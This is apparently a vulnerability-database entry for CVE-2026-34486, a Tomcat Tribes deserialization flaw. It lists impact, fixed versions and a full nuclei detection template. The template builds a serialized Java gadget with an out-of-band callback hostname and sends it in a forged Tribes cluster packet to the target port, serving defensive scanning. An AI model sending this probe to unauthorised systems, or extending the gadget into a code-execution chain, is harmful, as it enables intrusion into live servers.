HexBrain

Browse / CVEs / CVE-2026-34486

CVE-2026-34486· apache / tomcat· CWE-502

Apache Tomcat Tribes EncryptInterceptor Bypass - Remote Code Execution

Exploited in the wild. Listed by CISA on 2026-08-04; known to be used by ransomware.

criticalseverity
9.8CVSS score
98.5%likelihood of exploitation, next 30 days
100%of all CVEs are less likely
Readycheck to confirm it

Missing Encryption of Sensitive Data vulnerability in Apache Tomcat due to the fix for CVE-2026-29146 allowing the bypass of the EncryptInterceptor. This issue affects Apache Tomcat: 11.0.20, 10.1.53, 9.0.116.

Impact

An unauthenticated attacker can achieve remote code execution by sending an unencrypted serialized Java object to the Tribes cluster receiver port.

Fix

Users are recommended to upgrade to version 11.0.21, 10.1.54 or 9.0.117, which fix the issue.

How to confirm it

Positive when: contains in interactsh_protocol "dns"

Run it with nuclei: nuclei -id CVE-2026-34486 -u <target>

The full check
id: CVE-2026-34486

info:
  name: Apache Tomcat Tribes EncryptInterceptor Bypass - Remote Code Execution
  author: DhiyaneshDk
  severity: critical
  description: |
    Missing Encryption of Sensitive Data vulnerability in Apache Tomcat due to the fix for CVE-2026-29146 allowing the bypass of the EncryptInterceptor. This issue affects Apache Tomcat: 11.0.20, 10.1.53, 9.0.116.
  impact: |
    An unauthenticated attacker can achieve remote code execution by sending an unencrypted serialized Java object to the Tribes cluster receiver port.
  remediation: |
    Users are recommended to upgrade to version 11.0.21, 10.1.54 or 9.0.117, which fix the issue.
  reference:
    - https://striga.ai/research/tomcat-tribes-unauth-rce
    - https://github.com/striga-ai/CVE-2026-34486
    - https://nvd.nist.gov/vuln/detail/CVE-2026-34486
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2026-34486
    epss-score: 0.98503
    epss-percentile: 0.99919
    cwe-id: CWE-502
  metadata:
    verified: true
    max-request: 1
    vendor: apache
    product: tomcat
    shodan-query: product:"Apache Tomcat Tribes"
  tags: cve,cve2026,network,apache,tomcat,rce,deserialization,oast,oob,vkev,kev

javascript:
  - pre-condition: |
      const hp = Hostname.split(':');
      isPortOpen(hp[0], hp[1] ? parseInt(hp[1]) : 4000)

    code: |
      const net = require('nuclei/net');

      // Port-flexible: the target port is taken from the -u host:port value
      // (Hostname includes it); falls back to the Tribes default 4000.
      const hp = Hostname.split(':');
      const Host = hp[0];
      const Port = hp[1] ? parseInt(hp[1]) : 4000;

      const address = Host + ':' + Port;
      const hostname = interactsh_url;

      const GADGET_PREFIX = 'aced0005737200116a6176612e7574696c2e486173684d61700507dac1c31660d103000246000a6c6f6164466163746f724900097468726573686f6c6478703f4000000000000c770800000010000000017372000c6a6176612e6e65742e55524c962537361afce47203000749000868617368436f6465490004706f72744c0009617574686f726974797400124c6a6176612f6c616e672f537472696e673b4c000466696c6571007e00034c0004686f737471007e00034c000870726f746f636f6c71007e00034c000372656671007e00037870ffffffffffffffff';
      const GADGET_SUFFIX = '74000071007e0005740004687474707078740003706f6378';

      let hostnameHex = '';
      for (let i = 0; i < hostname.length; i++) {
        hostnameHex += hostname.charCodeAt(i).toString(16).padStart(2, '0');
      }

      const lenHex = hostname.length.toString(16).padStart(4, '0');
      const gadgetHex = GADGET_PREFIX + '74' + lenHex + hostnameHex + GADGET_SUFFIX;
      const gadgetByteLen = gadgetHex.length / 2;

      const MEMBER_HEX = '5452494245532d42'       // "TRIBES-B"
        + '01'                                      // version
        + '00'                                      // padding
        + '00000035'                                // body length (53)
        + '000000e8d4a51000'                        // memberAliveTime
        + '00000fa1'                                // tcpListenPort (4001)
        + '00000000'                                // udpListenPort
        + '00000000'                                // securePort
        + '04'                                      // host length
        + '7f000001'                                // 127.0.0.1
        + '00000000'                                // commandLength
        + '00000000'                                // domainLength
        + '01010101010101010101010101010101'        // uniqueId (16 bytes)
        + '00000000'                                // payloadLength
        + '5452494245532d45'                        // "TRIBES-E"
        + '01'                                      // version
        + '00';                                     // padding

      const OPTIONS = '00000000';
      const TIMESTAMP = '000000e8d4a51000';
      const UID_LEN = '00000010';
      const UID = 'dddddddddddddddddddddddddddddddd';
      const MEMBER_LEN = '0000004d';

      const serializedLenHex = gadgetByteLen.toString(16).padStart(8, '0');

      const channelData = OPTIONS + TIMESTAMP + UID_LEN + UID + MEMBER_LEN + MEMBER_HEX
        + serializedLenHex + gadgetHex;

      const channelDataByteLen = channelData.length / 2;
      const outerLenHex = channelDataByteLen.toString(16).padStart(8, '0');

      const FLT2002 = '464c5432303032';
      const TLF2003 = '544c4632303033';
      const packet = FLT2002 + outerLenHex + channelData + TLF2003;

      let conn;
      try {
        conn = net.Open('tcp', address);
        conn.SendHex(packet);
        conn.RecvString(10);
      } catch (e) {}

      if (conn) conn.Close();

      Export('payload_sent');

    args:
      Hostname: "{{Hostname}}"
      interactsh_url: "{{interactsh-url}}"

    matchers:
      - type: word
        part: interactsh_protocol
        words:
          - "dns"

References

Use this check only on systems you are authorised to test. Where the data comes from